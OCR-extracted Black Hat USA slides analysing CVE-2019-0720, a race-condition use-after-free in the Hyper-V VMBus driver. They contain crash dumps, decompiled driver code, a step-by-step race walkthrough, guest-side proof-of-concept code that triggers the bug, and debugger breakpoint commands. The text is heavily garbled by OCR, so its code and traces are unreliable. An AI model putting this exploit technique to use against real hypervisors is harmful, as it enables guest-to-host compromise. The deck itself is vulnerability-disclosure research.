Pooltag Vkin : Hyper-V VMBus KMCL driver (incoming packets), Binary : vmbkmncl.svs

e
vhdmp ! VhdnpiCompleteOf f loadRequest+0x373:
fffff80b dda?cBe3 48894220 now gword ptr [rsi+20h].rcx

A kds r rox

rcx=ffffbl862339a620

#BHUSA @BlackHatEvents
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rcx=ffffbl86e33%a620

3 kds g

rce=ffffbl86e339a000

¥ Child=5F Retiddr Call Site

00 ££f££8287 f6bceBfl ff£££f80b 'dd602513 storvsp!VstorCo
01 ££££6287 fo6bce920 f£f£££f80b'dda2l23c storvsp!VstorCo
02 ££f££8287 f6bced9el fffff530b ' ddatfd940 vhdparser | NVhdI
03 ££f££8287 fobcealld fffff80b ddab5202 vhdmp!VhdmnpiPerf
04 ££f££8287 f6bceadl fffff80b'ddafS4b42 vhdmp!VhdmnpiCon
05 ££f££8287 febcebll fffff80b ddaS4aff vhdmp!VhdmpiDec
06 ££f££8287 f6bceb30 ff£f£f£f80b 'ddaS49b8 vhdmp!VhdmnpiSrb
07 ££££68287 febceb?0 ff£f£f£f80b 'ddab54867 wvhdmp!VhdmnpiVhd2
08 ££f££8287 f6bcebbl fffff80b ddaSadbd vhdmp!AeProcess
09 ££££8287 f6bcecll fffff80b ddafacc? vhdmp!VhdmpiVhd2
Da £f££8287 fébcectl ff£f£f801° 2cddfbef vhdmp!VhdmnpiSrb
Ob fff£f8287 fe6bceccl ffff£f801 2c4dfa%97 nt!lIopfComplete
Oc ££££8287 f6bcedel fffff80b'dda?bl?3 nt!IofCompleteR
0d ££££8287 febceell f£f£f£f£f801° 2cddfbef vhdmp!VhdmpiMai
le ff££8287 febceedl f££££801 2cd4dfa9? nt!lopfComplete
0f ££££68287 fobcefeld ff£ff£f80b dbdea??7 nt!IofCompleteR
10 ££f££8287 f6bcefd0 ff£f£f£f80b 'dbf14820 NtfsINtfsExtend
11 ££££8287 £f6bcf000 ff£f£f£80b dbedl0% c Ntis!Hti=s0fifloa
12 ££f££8287 f6bcfll0 ff£ff£f830b dbelced9b Ntis!INtfslUserFs
13 ££££8287 febcfl190 f£££f£f801° 2cdddefd NtisINtfsF=dFil
14 ££f££8287 f6bcf2c0 f£f£££80b'dabd?207 nt!IofCallDrive
15 ££££8287 fobcf300 ff£fff80b da70aedl FLTHGR!FltpLega
16 ££££8287 £6bcf370 f££££801° 2cd4ddef9 FLTHGRIFltpF=sCo
17 ££££68287 febcf3d0 f£f£f£f£f80b ddaSbl0l nt!IofCallDrive
18 ££f££8287 f6bcfdl0 ff£f£f£f580b ddabdS1lb vhdmp!VhdmnpiFil
19 f£££8287 f6bcfd490 f££££801°2c4£9235 vhdmp!VhdmpiVdl
la ££f££8287 f6bcfb40 ff£££801° 2c5164£f7 nt!ExpVorkerThr
1b ££f££8287 fobcfbd0 f££££f801° 2c653906 nt!PspSystenThr
lc ££££8287 £6bcff20 00000000 00000000 nt!KiStartSyste

Sthread=ffffbl86e0adf040

Pool page ffffbl86e339%a000 region is Nonpaged pool

*ffffbl86e339a000 large page allocation, tag is Vkin,
Pooltag Vkin Hyper-V VHBus KMCL driw

fffff80b dda7cBe3 48894e20

A kds r rox

rcx=ffffbl862339a620

dr

fffffe0b”
ffff£80b°
ffff£80b°
fffff80b"
ffff£00b°
ffff£80b°
fffffe0b”
fEEf£801°

Call Site

storvep | VetorCompleteScsiRequest+0x2d7
storvsp ! VstorCompleteScsiRequest+0x273
vhdparzer | HVhdParserCompleteScsiRequest+0x3d
vhdparser | HVhdParserExzecuteScsiRequestDisk+0=x901f
storvsp+lxlaesl

storvep+0xl6fl

vmbkmnclr ! InpProcessingWorkerREoutine+0x2fhb
vmbusr | AwllorkerThread+0=xb0

nt |PespSystenThreadStartup+0=x47

nt |KiStartSystemThread+0=x16

fff£8287
ffffaz28a?
fff£8287
ff££8287
ff££8287
ff££8287
fff£8287
ff£fe287?

"fSecaZfl
“fSecall
"fSecaiel
"fSecadll
"fSecadsl
"fSecadcl
"fSecadfl
"f5ecabk?0
f£££8287 f5ecaSdl ff£f£f£801"
f£££6287 f5ecac20 00000000
Sthread=ffffbl86de=sf 7040

Pool page ffffbl86e339a000 region i=s Honpaged pool

#ffffbl186e33%9a000 large page allocation, tag i=s Vkin, =ize 1= 0x4000 bytes
Pooltag Vkin Hyper-V VMBus KMCL driver (incoming packets),

dde02513
ddaz2258d
dda2191f
dde0laesl
ddel0lefl
dchb3148b
dcc95680
2c516417
2chb53906
oooooooo

Binary vmbkmncl . sys
KEDTARGET: Refreshing KD connection

0x0000007e
(OxFFFFFFFFCO000005, OxFFFFFE0BDCE32A0D, OxFFFFE8287FSECOFCE, OxFFFFE287FEECS810)

*%% Fatal System Error:

Break instruction exception — code B0000003 (first chance)

A fatal system error has occurred.
Debugger entered on first try; Bugcheck callbacks have not been invoked.

A fatal system error has occurred.

nt |DbgBreakPointWithStatus:

f££££801° 2c6540c0 cc int 3

e
vhdmp!VhdmpiCnmpleteOfflﬂadRequest+Gﬂaxa.
nov

gword ptr [rsi+20h].rc=

#BHUSA @BlackHatEvents
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»Exploit thinking

* PoC has a chance to cause UAF.

* Find suitable object for kernel pool Spray.
»>Why failed?

* No object of suitable size was found-

#BHUSA @BlackHatEvents
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EDTARGET: Refreshing KD connection

*#¥% Fatal Sy=tem Error: 0x00000041 t | DbgE LPointWithStatus-
(0x000000000000000%, 0x0000000000000002. 08¢ ¢5£001 d93b02al oo o int 3

20 ld: fth d
Breal in=truction exception — code 30000003 (fir=st chance) $thread£ffff§igela?cﬁﬂ4ﬂ

2 lkd: ¥7? @fthread-:Cid
& fatal =v=tem error has occurred. ztruct CLIENT ID
Debugger entered on first trv: Bugcheck callbacks hawe not been +0=0T0 UninePrDcess - O=00000000° 00000004 Yaid

+0=008 TnigqueThread 0000000007 0000019z Void
& fatal =v=tem error has occurred. 7 kds e
: ¥ Child-5SFP Fetiddr Call Site

Connected to Windows 10 19134 =64 target at (Mon Jun 10 100222300 ffffg105° 7463e=df f££f££501°d944£172 nt!DbgBreakPointWithStatus
Loading kernel Symbols 01 fFF£R105 7463e=S0 fFFFER01°d9442982 nt!KiBugCheckDebugBreak+0z12

--------------------------------------------------------------- 02 ffffR105 7463eshl fffffE01°d93b4797 nt!KeBugCheck2+0x962
--------------------------------------------------------------- 03 ffffR105 7463£5d0 fEFFFR01 d93c5269 nt!KeBugCheckEx+0x107
--------------------------------------------------------------- 04 ffff8105 7463£f610 ffff£801 d93clest nt!KiBugCheckDispatch+0=69
------------ 0S5 ffffR105 7F463£750 fEfffE0d°4239acdf nt!KiPageFault+0x425

Loading User Symbols 06 ffEf8105° 7463f0e0 ffEff00d" 42239056 wmbusr!|ChDeleteGpadl Viewl f Unref erenced+0x30
. _ 07 fEFfE8105° 7A63£910 ffEff804° 4239908 vmbusr | ChllnnapGpadl View+lzas
Loading unloaded module list 08 ffff8105° 7463f%9a0 fffffa0d" 42787d7f vmbusr | BusChUnmnapGpadlView+0xc

-------- 09 ££££f8105°7463£9d0 £££££8047430b=Y51 wmblkmnclr ! VmbChannelUnmnapGpadl+0=x1f
AR LA LR LR EAXRRALRRAXRRALRRRRRRRRRERRRRRRRRRN 0 fF£ER105 7463fa00 fE£f£80d° 430bdbie wnswitch ! VnsVnlicPvtDestroyvReceivebuf fer=+0x=111

* . Ob f£££8105° 7463fa50 f££££801°d929a50c vm=switch!VnsVnHicPvtRevokeFRecieveBuf ferliorkIten+lxl0e
* Bugcheck Analysis Oc ffffE8105° 7463£f290 ffff£2801°d9261=35 nt!IlopProcesslorkltentOxl2c
* Od fEff8105° 7463fb00 fEff£f501°d927=4f7 nt|ExpWorkerThread+0=fs

. . . i 0f £f£££8105° 7463fbe0 000000007 00000000 ntlKiStartSystemThread+0=xlsn
U=ze lanalyvze -v to get detailed debugging information.

BugCheclk D1, {8, 2. 1., fffffl0d423%acdi}
Frobably caused by : wmbusr.svs ({ vmbusr|ChDeleteGpadlViewlflTnref erenced+30 )

Followup: MachineOwner

#BHUSA @BlackHatEvents
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»RtIDeleteElementGenericTableAvl's second parameter is the return value

zigned _ inted _ fastcall ChlonapGpadlView( inted al,

3

from

__inted w2; - rbp

KIRQL +3; ~~ bl

__inted w4 s rdi

KIRQL w5; ~» al

KIRQL w6: .~ bl

__intfd %8 .~ [r=p+30h] [xbp-58h]
int %9;  [r=p+38h] [rbp-50hk]

RtlLookupElementGenericTableAvl

int a2}

w2 = *®(_QWORD #=){al1 + 0=xD0):

v = ai:

vl = al:

[V3 = KehdcquireSpinlockFai=zeToDpo( (FESPFIN_LOCK) (w2 + 0x3C0)) ;< commng
vd = FtllookupElementGensericTabledwl{v:! + 0x3CHE, &vd):

KeReleazeSpinLlock { (PESPIN_LOCK) (w2 + 0=x3C0), w3):
if ( !wd || !#=(_BYTE #=){vd4d + 0=xC) )

return 0=zCO000225i64;
XPartlnlockChildPages(

vz,

*®(_QUWORED =) {wd + 0=x38).

*®(PHDL 9%} {wd + O=xd0),

*(un=igned _ intle *){vd + O=E).

*®(_ DUWORED =) {wd + 0=x1C)):

InterlockedIncrenent{ (volatile =igned

int32 =)&Gpadl=Tnmnapped) ;

[%5 = EedcguireSpinlockRaiseToDpe{ (PESPIN LOCKE) (w2 + 0=3C0) ) ;- ~commd

*{_BYTE =®){wd + 0=xC) = 0:
wh o= =h -

thDeleteGnaleiewIfUnreferencedfv2 [ dnthd =*3ywd . 15

EeReleazeSpinLlock { (FESPIN_LOCKE ) (w2 + 0=x3C0), wh):
return 0164

__inted _ fastczall ChDeleteGpadlViewlflUnreferenced(  inted al, _ inthd =37,

__intbed =v3i: v rhx
_inted wd; 7 rdi
__inted w5 /7 rd=
wvoid *®vhb: ~ rCx

int w7 - eax

__inted w8; - ro=
__inted result: - rax

*#( _DWORD #*3{+w5 + 3) = =*={{_DWORD =)+3 + 2):
¥PartSendie=s=sageial. +5 — 64);

el=e

char al)

EPartFresWithQuotal={_ OWORD #*3(v5 — 64 + 16). w5 — 64, (unsigned int){=*{_DWORED

1

vh = (woid *#)v3[4];

wI[?] = 0i64;

ExFreePoolWithTag(wa, '‘subW'):

w? = *®{(_DWORD #*)v3 + 6

wi[4] = 0i64d;

_InterlockedEzxchangeidd( (volatile =igned _ int32 =*i({wd + 632)., —w7):
wad = *®yd;

*#((_DWORD #*#)w3 + &) = 0;

ChhereferenceChannel Internal (w8, 2945645 :

[result = RtlDeleteElementGenericTabledvlivd + 0x3C8, w3 __1

¥

return result;

| Delete from generic table and free
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»RtIDeleteElementGenericTableAvl not only deletes a specified
element from a generic table, but also free the specified element.

»vmbusr!ChUnmapGpadlView's second parameter is
“‘gpadl_handle”, “gpadl_handle” can be controlled by Guest
Machine.

#BHUSA @BlackHa tEvents
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»RtIDeletd
element

»vmbusr!

‘gpadl_
Machine
nel Source Tree

BHUSA @BlackHatEvents
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Important information about vmbusr!ChUnmapGpadlView

»vmbusr!ChUnmapGpadlView will running at a multithreaded
environment; Actually Multi-core processor environment.

»vmbusr!ChUnmapGpadlView second parameter controlled by Guest
data(gpadl_handle), and the first parameter can be controlled by what
channel we use indirectly;

#BHUSA @BlackHa tEvents
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Start

=1gned __intbd _ fastcall ChlUnmapGpadlView(__intfd al, int aZ)

__inted v2; - rbp

KIRQL w3: - bl

_ intb6d wd; - rdi

EIRQL +5: ~~ al

KIRQL we: - bl

__inthd wB; - [r=p+30h] [rbp-58h]
int v9; - [rs=p+38h] [rbp-50h]

w2 = *®{_ QWORD #=){al + 0=xDO0};
w9 = a:
w3 = al;
wi = KedoquireSpinlockRaiseTolpo{ (PESPIN TOCE) (w2 + 0x3C00 ) “~“comments—1: Acguire spinlock (wa+0=3c0)
w4 = RFtlLlookupElementGenericTabledwl vy + 0x3CH, &vE); E; ]-
KeReleaseSpinLock ( (PESPIN TOCK) (v2 + 0x3C0). wi). tate-

T 1L | wd 1] 1®[_BTIE ®=) wd + O=_7 3

return DxCO000225164;
¥PartUnlockChildPages(

Z,
z(_QHORD *)(vd + 0x38), State-2

*(PHDT =%} (w4 + 0=40),
*#(unsigned _ _intle *#)({vd4 + 0=xE).
*(_DWORD =) (w4 + 0xl1C)):
_InterlockedIncrement{{volatile =signed __int32 *)&GCpadlsUnmapped):

vo = KeacguireSpinlockRaiseToDpo( (PESPIN LOCE) (v2 + Dx3C00): - <“comments—2: Acoguire spinlock (va+0xz3cl)
*®{ LTIE *ifva T O0=Cy = 0.

vE = w§; -
ChleleteGpadlVievl{fInreferenced(w?, (___int6d *)ivwd, 13; State 3
KeReleaszeSpinlock { (PESPIH LOCK) (v2 + 0=x3C0), wi);

return Uib4:

} End
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“4-Assume the following situation:

»There are two threads: ThreadA & ThreadB; Running on different CPUs.

»ThreadA & ThreadB will running to vmbusr!ChUnmapGpadlView at the
same time.

»Both of two threads call function vmbusr!ChUnmapGpadlView have
SAME parameter.

»ThreadA a little more faster than ThreadB.
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CVE-2019-0720 ThreadA ThreadB
+4-Steps — 1 Start w— Olart

»ThreadA will first acquire the
spinlock(spinlock address :
v2+0x3c0) and into a critical
region. (State-1)

»> At the same time, ThreadB will
waiting for the spinlock.

End
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+4-Steps — 2 Start w— Olart

»ThreadA call function
RtlLookupElementGenericTableAvl
and return a pointer PointerA.

(State-1)

» Release the spinlock and exit the
critical region.

PointerA

End
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CVE-2019-0720 ThreadA ThreadB
+Steps — 3 Start Start

»ThreadB acquire the same
spinlock(spinlock address :
v2+0x3c0) and into a critical
region. (State-1)

» ThreadA acquire spinlock and
waiting for the spinlock. (State-2)

.
+

wait —>

End
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CVE-2019-0720 ThreadA ThreadB
+-Steps — 4 Start Start

: ! PointerB
and return a pointer PointerB.
(State-1)

»Release the spinlock and exit the
critical region.

»Two threads call function
vmbusr!ChUnmapGpadlView have
SAME parameter, PointerB ==
PointerA. End

»ThreadB call function
RtlLookupElementGenericTableAvl
+
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4-Steps - 5 Start Start

»ThreadA will acquire the
spinlock(spinlock address : v2+0x3c0)
at the second

KeAcquireSpinLockRaiseToDpc and
INto a critical region. (State-3)

» Call function |
vmbusr!ChDeleteGpadlViewltUnrefer
enced to free memory which
PointerA points to, and delete the +
teI%rlnent(PomterA) from a generic

able.

»Release the spinlock and exit the
critical regionl.O End End

—+

wait

Free PointerA

#BHUSA @BlackHatEvents
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CVE-2019-0720 ThreadA ThreadB
4-Steps - 6 Start Start

»ThreadB will acquire the
spinlock(spinlock address : v2+0x3c0)
at the second
KeAcquireSpinLockRaiseToDpc and
INto a critical region. (State-3)

» Call function
vmbusr!ChDeleteGpadlViewlfUnrefer
enced to free memory which <+
PointerB points to, and delete the S e
element(PointerB) from a generic

table. End End

#BHUSA @BlackHatEvents
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CVE-2019-0720 ThreadA ThreadB
+Steps — 6 Start Start

»PointerA == PointerB -

»vmbusr!ChDeleteGpadlViewlfUnre
ferenced will use an already freed
memory's pointer as the second
parameter.

»UAF!!!

<+

Use freed PointerA

End
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Two necessary conditions

»Two non-interfering threads run to function
vmbusr!ChUnmapGpadlView.

»Two threads call function vmbusr!ChUnmapGpadlView have
SAME parameters.
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Fortunately®© the following are two threads’ stack backtrace satisfy

the necessary conditions.

36 36 36 36 36 36 36 36 3636 36 363 3 I IR RN T [ rea] 636363636 3636363636 -3 3 36 3636 36 636 36 3 X

vmbu=zr | ChllnnapGpadl View
vmnbu=zr | BusChlinnapGpadlView+0=c

vnblknolr | VmbChannel UnmapGpadl+0=1 £
vnewltch! VnsVnHicPvtDestrovREeceivebuf fer=s+0x111

vi=switch ! VnsVnHicPvtRevolkeRecievebBuf ferorkltent+l=xl0e

nt | IopProcesslorkIltent+lxzlic
nt |ExpllorkerThread+0x=f5
nt |PezpSyvstenThreadStartup+O=d Y

ntlEisStartSy=stenThread+0xl6
36 36 36 36 36 36 36 36 36 36 36 36 3 36 3636 36 36 36 36 36 36 36 36 363636336 36 336 36 36 3NN XN

36 36 3636 36 36 36 36 36 36 I 36 36 363636 I WX T [ e ] I 336 IE 636 I 336 IE 3636 I 336 36 3636 I 336 6

vnbusr | ChllnmapGpadlView

vnbu=zr | BusChlnmapGpadl Viewv+l=c

vnblkmnclr | YnbChannel UnmnapGpadl+0x1t

vmewitch ! VneVnHicPvtDestroyReceiveBuf fer=s+0x111)|
vmswitch! VnsVnHicPvtEnclChannelCloszed+0x102
vnblknclr | EnclpFundovwnCountZerc+0x6f

nt | IopProcesslorkIten+lixzl 2o

nt | ExpllorkerThread+0=xf5

nt |PepSy=temnThreadStartup+0=d ?
ntlKisStartSy=stenThread+0=zl6

€ 33636 36 3E IE 33636 363636 33636 3636 -3 33633636 I I3 3636 I I3 3636 36 I I3 3E-36 3636 36 3036336
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»Threadl can be triggered by send

NVSP_MSG1 TYPE REVOKE RECV BUF nvsp_message message and
CHANNELMSG_GPADL_TEARDOWN message In a guest machine.

36 3 36 3 36 3E I 36 I 3636 I 36 I I 36 I 3036 I 36 I 3363630 I 336 I 30363636 I 33633636 3636 36 3636 36 36 36 3636363636 363636 3636363636 3636363636 IEIE 36336 I

struct nvsp _message * revolke paclket = NHULL;
revoke packet = &dnetdevice-:revole paclet

mnemnzet ( revoke packet,. 0, sizeof{=truct nvsp nessage) )
revoke packet—:hdr . m=g type = HVSE HSG1 TYFPE REVOKE RECY BUF:

revoke packet-:m=g. vl msg.revolke recv buft o 1d = HETVSC RECEIVE BUFFER ID:

m=g = (=truct wmbu= channel gpadl_ teardown *)info—:m=g;
n=g—rheader m=gtype = CHANHELMSG GFADL TEARDOWH ;
m=g—rchild_relid = g _hvdevice-:channel-rofferm=sg.child _relid;
n=g—rgpadl = netdevice—:recv_buf gpadl _handle:

p_vmnbu=s =sendpaclket _ctl{g hvdewvice—:channel.
revoke packet,
zizeof (=truct nvsEp nessage).
(un=signed long)rewvole paclket .
YM_PET DATA THBAHD, 0O, 1):

p_wmnbu=s post _mEgims=g, =izeof (struct vmbus channel gpadl teardown) )
3 3 3 I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I
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»Thread?2 can be triggered by simulation press system reset key in a
guest machine.

636 3636 3636 36 36 36 36 36 36363636 3636 3636 3636 33636 3636 3636 336 33663636 3 XN

gf1. reset_svy=stemi(0, EFI _SUCCESS, 0, HULL):

-I--I--I--I--I--I—-I—-I—-I—-I—-I--I--I--I--I--I--I--I--I--I--I—-I--I—-I—-I—-I--I--I--I--I--I—-I—-I—-I—-I—-I—-I—-I—-I—-I—-I—-H-I

»AND! "efi.reset_system(0, EFI_SUCCESS, 0, NULL);" can trigger an
Important thread to control above Thread1&Thread? become two non-
Interfering threads. The following is the important thread'’s stack
backtrace.

#BHUSA @BlackHatEvents
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»Thread?2 can be trigger by simulation press system reset key in a guest

mactk

3636 33

efi1.rd
3 3 3E 3 3

»>AN
imp
inter
trac

b 36 36 36 3636 36 36 36 36 36 36 336 3 36 3630 36 3 36 3630 36 336 36 3 36 36 36 3636 36 3 3633

vmEwltch ! VnsVWnFPauseChannel

vmEwltch ! VnsVnHicPvtPausebtuestStack+l=xzte
vmEwltch ! VYnsVYnHicPau=e+0x145

vmEwltch | VYn=CdpHicPauseVmHic+0x1384
vmEwltch ! VYn=CdplDeviceControl+0=z7 41
nt!llIofCalllDriver+0=xt549

nt | IopsynchronousServiceTall+0xlab

nt | lopixxControlFile+l=z66t

nt | HNtDeviceloControlFi1le+0x56
ntlKiSy=tenServiceCopyEnd+0=13

iEiHEiEiHEiEiHEiE!HEiE!HEiEiHEiEiHEiEiHEiE!HEiEiHEiEiHEiEiHEiEiHEiq

lgger a
e two non-
ttack
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»This important thread should running before Thread1&Thread?2, so we
should use the following codes in PoC to set function
vmswitch!VmsVmNicPvtRevokeRecieveBufterWorkltem into a sleep state.

3636 3636 36 36 35 36 36 36 35 36 36 3636 36 36 3636 336 36 36 3536 3636 3636 3636 3636 36 36 36 336 36 36 536 3636 3636 3636 336 36 36 363636 36 36 636 336 3636 3636363 6 EEE NI
vold # ptmp = phyvs to virti({pagebuffer=s[0] . pfn << PAGE SHIFT);
ptmp += pagebuffer=s[0].off=et;

struct rhndi=s message * rindis msg = (=truct rhndis nessage *¥)ptmp;

struct nvsp message * nvspnsg = (struct nvsp message *® )buffer

modify rndis datai{rndis m=g) .« Modifvy ndi= m=g type to BEHDIS M55 SET(G)
nvspnEg—:n=g.v1l m=g.=end rndi=s pkt. =end buf =ection =ize = rndi=s mEg-—:m=g_len;
pagebuffer=[0].1len = rndi= m=g-rm=g_len;

struct nvsp message halt _paclket

halt paclket hdr m=sg type = NVSP MSG1 TYPE SEND RHDIS PET:

halt packet .m=g.vl m=g.=zend rndi= pkt.channel type = 1;|

halt packet m=g.vl m=g.=zend rndis plkt =end buf =section =ize = rndi=s nsg—:mn=g_len;

halt paclket m=g.vl m=g.=end rndi=s plkt . =end buf =ection index = HETVSCZ INVALID INDEX:

vmbu= =endpaclket _pagebuffer ctl _old{g _hwvdevice-:channel pagebuffer=s. pagecount.
halt packet., sizecfistruct nvsp message). (unsigned longléhalt _packet, 1. 17;

63636 36 36 36 36 36 36 336 33636 3 3636 336 36 336 36 3636 36 3636 36 336 63636 3 36 36 36 3636 336 36 36 3 36 3636 36 3636 3 3636 336 36 36 3636 336 36 36 36 36 3636 363636 6 3636 36 3 363
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The principle of above code in PoC

»Set function vmswitch!VmsVmNicPvtRevokeRecieveBufferWorkltem's
second parameter offset Oxe0 's memory to a non-zero value, and this
function will into a sleep state until offset Oxe0 's memory set to zero.

»Fortunately©, we can also use "efi.reset_system(0, EFI_SUCCESS, 0,
NULL);" to set zero In offset Oxe0 's memory indirectly.

#BHUSA @BlackHa tEvents
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3636 36363 3636 I 3636336363363 3636336333636 IE 366 I 3636 I3 3033033033636 3636363636363 IE-IE I 3663663363633 3036303633636 -6 IE 363636363636

wold _ fastcall VmsVnNicPwtRevoleRecievebBuf ferVorkIltem (PDEVICE_OBJIECT Devicelbject.

__inted w2; A/ rdi
_BYTE #v3; - rb=
__inted w4 < r=i
__inted w5 . ram
__intbed wh; < rdx

int v7; - esi

__inted wd: - rCE
__intbed w9; £ rCE
__inted w10; -~ rocm
__inted wll; ~ [r=p+48h] [rbp+10h]
w2 = *®{Context + 0=xdF):

w3 = Context;
Vn=OmObjectLockEzclusive(*{Context + 0=x4F), &vll);
if ( w3[0=1B0O] == [ | +3[0=x1B1] == 1 )
w3[0=1C0] = O;
=l=e
w3i[0=x1EBO] = 1:
A S - R v 0 A I

while ( *({w3 + 0x38) ) ——— Context + Oxel

Sozet to a noh—-zero hunber

A4 rhe+l=esl;

HdisMSlesepil10001i64 )

WmzVnHauszeChannel (va):

KeWaitForSingleObject (&VmsOnloctlMutex, 0, 0, 0O,
Vm=OmObjectLockShared (v, é&wvll, 0164}

w4 = VmneVngFindProtocolHicObject (w2 )

0i64);

FVOID Context)

' In PoC

Hdi=ReleaseRWLock (*(wv2 + 0x38). é&wll):
if ( wd )

VneVWngDoVngOperation(*{v3 + 0=x4F), wd, 2164);
wh o= ®(v3 + 93);
if ( w5

TneVnNicSendVFAssociationlesg(*®{v3 + 79), 0164, *={vi + 443);:
KeFeleazelutex(&VneOnloct IMutex, 03 ;
w7 = TnsVnHicPvtDestrovReceivebBuffer=s(0i6d, w3);
if (w7 < 09
{

w3 o= *®(vw3 + 79);

if ( w8 &b (w9 = ={v8 + 18883y 1= 0 )

wl0 = =(v9 + 9024);
elze

wll = Vm=lfrlog:

WPP_RECORDER_SF_=(w10. w&);

VneVnResuneChannel (v3) ;

VnzOnlbject LockExclusive(vs, &wll):
wvil[0x1lC0] = 0O;
vi[0=x1BO] = 0O;
wi[0=1Bl1] = 7 = 0:
h
HdisReleaszeRWLlocl(®{v2 + 56, &vll);

¥
e
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*-.f-:ni-:l _ fastcall VmsVnHicPvtRewvaol evebuf ferWorkItem (PDEVICE OBJECT Device(hbj . PWOID

__1nthkd

vi[0=x1B1]

Hdis
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CVE-2019-0720 debugging & trigger

kdr bp vmbusr | ChlUnmapGpadlView " . echo GpadlView:r rdx:r Sthread;?? @%thread-:Cid:;k;  time: .echo g:":

kd: bp vmawit:h!vmsﬂmHi:PvtRekaeEecleveBufferHDrkItem " echo ?ms?mchPvtEEWDkERE:levEEufferHDrkItem r Sthread; time; .echo ;g
kd: bp vwm=witch!VnsVnNicPvtEnclChannelClozed " echo VnsVmNicPvtEmnclChannelClozed:r Sthread; time; echo ;g:":;

kd: bp vmEwitch!VnsVnNicPvtPausetuestStack" . echo VnsVnNicPvtPausetuestStack ¢ $thread;.time;.echu = B

kd: bp vmbusr | ChlUnmapGpadlView+lz66" .echo vmbusr | ChilnnapGpadlViev+0xeb ;r rdi;k;r $thread; .echo ;g:;"

kd: g

?ma?mﬂlDPvtREUDkERecleveEufferHDrkItem

Sthread=ffffcd8sla?cb0d40

Debug =e==sion tine: Mon Jun 10 10:22:18.690 2019 (UTC + &:00)

Syzten Uptime: 0 days 0:31:24 648

MMMMMM

Ym=VnHicPvtPausebuestStack

fthread=ffffcd8elchabiin

Debug =e==ion time: Mon Jun 10 10:22:18 774 2019 (UTC + 8:00)
Svy=zten Uptime: 0 davs 0:31:24.661

GpadlView
rd==00000000000slell
Sthread=ffffcd8elbcbdidn
struct CLIEWT ID

+0=000 TnigueProce== - Ox00000000° 00000004 Void
+0=0083 TnigueThread o 0000000007 00000ed48 Void
# Child-SP Fetiddr Call Site

o0 ff££f8105° 7eee?9f8 f£££f£f30d4d° 4239908 vmbu=sr | ChilnmapspadlView

01 ff££8105° VeeeVall £££££80d7 42791560 vmbusr | BusChlnnaptpadlViewv+l=c

N0z ££££8105° 7ee=eVadl £££££80d7 4279069 vmblkmnclr | EnclpTeardownOpenChannelState+0=6f
03 ££££8105° VeeeVanl £££££801°d929a50c wnblknclr ! EnclpRundownCount Zero+0x99

04 £f££8105° VeeeVa90 f£f£££801°d9261235 nt!lIopProcezsWorkIltem+ixlZc

NS f£££8105° 7eee?b00 f£££££801°d92%7e4f7 nt!ExpWorkerThread+0=f5

N6 ££££8105° 7Eee?b90 £££££801 d93bbb06 nt!P=pSvstemThreadStartup+l=xd?

N7 f£f££8105° Peee?bel 00000000 00000000 nt!KiStartSy=stemThread+0xla

Debug =e==ion time: Mon Jun 10 10:22:18 975 2019 (UTC + 8:00)

Sv=zten Uptime: 0 dawvs 0:31:24.785
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CVE-2019-0720 debugaing & trigger

vmbu=sr | ChlUnnapGpadlView+l=66
kd:> bp vmbusr lrdi=ffffc48elbi46e30

Debug =e==sion ti1

az

Child-5F

fE££2105°
f£££8105°
f£££8105°
f£££8105°
fE££2105°
f£££8105°
f£££3105°
f£££3105°

The=7970
Yeee?all
Yheaiail
7heeiabl
7hee?aql
7he=7h00
7he=7h90
7heeihel

Fetiddr

fftfffond-
fftfffond:
fftfff80d-
fffffo01”
ftftfffa801"
fftfff801"
fffff80l”
gooooooon:

System Uptime: Ofeip cod=ffffc4f8elbohd0dn

Vns¥mnNicPvitPauselvn=VnlicPvt PauseGuestStack
Sthread=ffffcdfelsthread=ffffcdfelchbablan
Debug =e==ion tiflDebug se=ssion time: Mon Jun 10 10:22:19.339 2019 (UTC + &:00)

Sv=ten Uptime: 0
GpadlView

Sy=zten Uptime:

Vm=sVmHicPvtEnclChannel Clo=sed

4239908c
42791560
42790c69
d329a50c
d3261e=35
d327=4f7?
d23bbbie
oooaoaoo

0 day=s 0:31:24 834

Call Site

vnbusr | ChlnnapspadlView+0=x66

vnbusr | BusChUnmnapspadl View+l=xc

vmblknclr |l EnclpTeardownOpenChannelState+0xz6f
vmblknclr | EnclpRundownCount Zero+0x99

nt ! IopFProcesslorkIltent+lxlZc

nt |ExplorkerThread+0xf 5

nt |PepSystenThreadStartup+0=x4d?
ntlKiStartSy=tenThread+0xls

BILE [
LTtem:;r Sthread; time; .echo ;g
;. .echo

- d5thread=ffffcd48=lbebd040
EfﬁrgggggggggggziDehug sezsion time: Mon Jun 10 10:22:19.431 2019 (UOTC + &:007)

=truct _CLIEHT—IEEystem Tptine: 0 daw= 0:31:24 839

+0=000 Tniquelc - q1vies

+0=008 Uniquelyrdx=-00000000000elelt
# Child-SP Sthread=ffffcdfelbcbdidl
00 fff£8105° 7éeedstruct CLIENT ID
01 ff££8105° VEee] +0=000 TnigueProcess
02 f£fff2105° 76e==] +0=008 TnigueThread

Oz00000000 00000004 Void
0x00000000°00000=48 Void

03 ££££8105° YEe=]
04 ££££8105° YEe=]
05 f£££5105 Y6es]
06 ££££8105 Y6e=]
07 ££££8105° YEe=]

Debug =e==ion ti
Sv=ten Uptime: 0

Child-5F

fE££2105°
f£££8105°
f£££3105°
f£££8105°
fE££2105°
f£££8105°
f£££8105°
f£££8105°

7hee?9f8
Yeea?all
7heeiail
7heeiabl
7hee?aql
Yeea?bi0
7hee?h90
Yee=?hell

Fetiddr

fftfffond-
fftfff80d-
fffffa0d-
fffffo01”
ftftfffa801"
fftfff801"
fffffo01”
gooooooo:

4239908c
42791560
42790269
d329a50c
d3261e=35
d327=4f7?
d33bbbie
ooogoaooo

Call Site

vnbusr | ChlnnapsGpadlVies

vmbusr | BusChlInnapGpadlViev+l=c

vmblknclr | EnclpTeardownOpenChannelState+0x6f
vmblknclr | EnclpRundownCount Zero+0x99

nt ! IopFProcesslorkIltent+lxlZc

nt |ExplorkerThread+0xf 5

nt |PepSy=tenThreadStartup+0xd?
ntlKiStartSy=tenThread+0x16

#BHUSA @BlackHatEvents
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Debug =e==sion ti1
Sy=ten Uptime: 0

GpadlView
rdxz=00000000000e]
Sthread=ffffcdie]

struct CLIEWT I
+0=000 Tnigue

+0=0083 Tnigue]

Child-SF

tf££8105°
ff££8105°
f£££8105°
t£££8105°
f£££8105°
ff££5105°
f£££8105°
ff££8105°

Teee]
7Eee]
7Eee]
==
Thee]
7Eee]
7Eee]
E==)

Sys

N\ "7 7\ 1

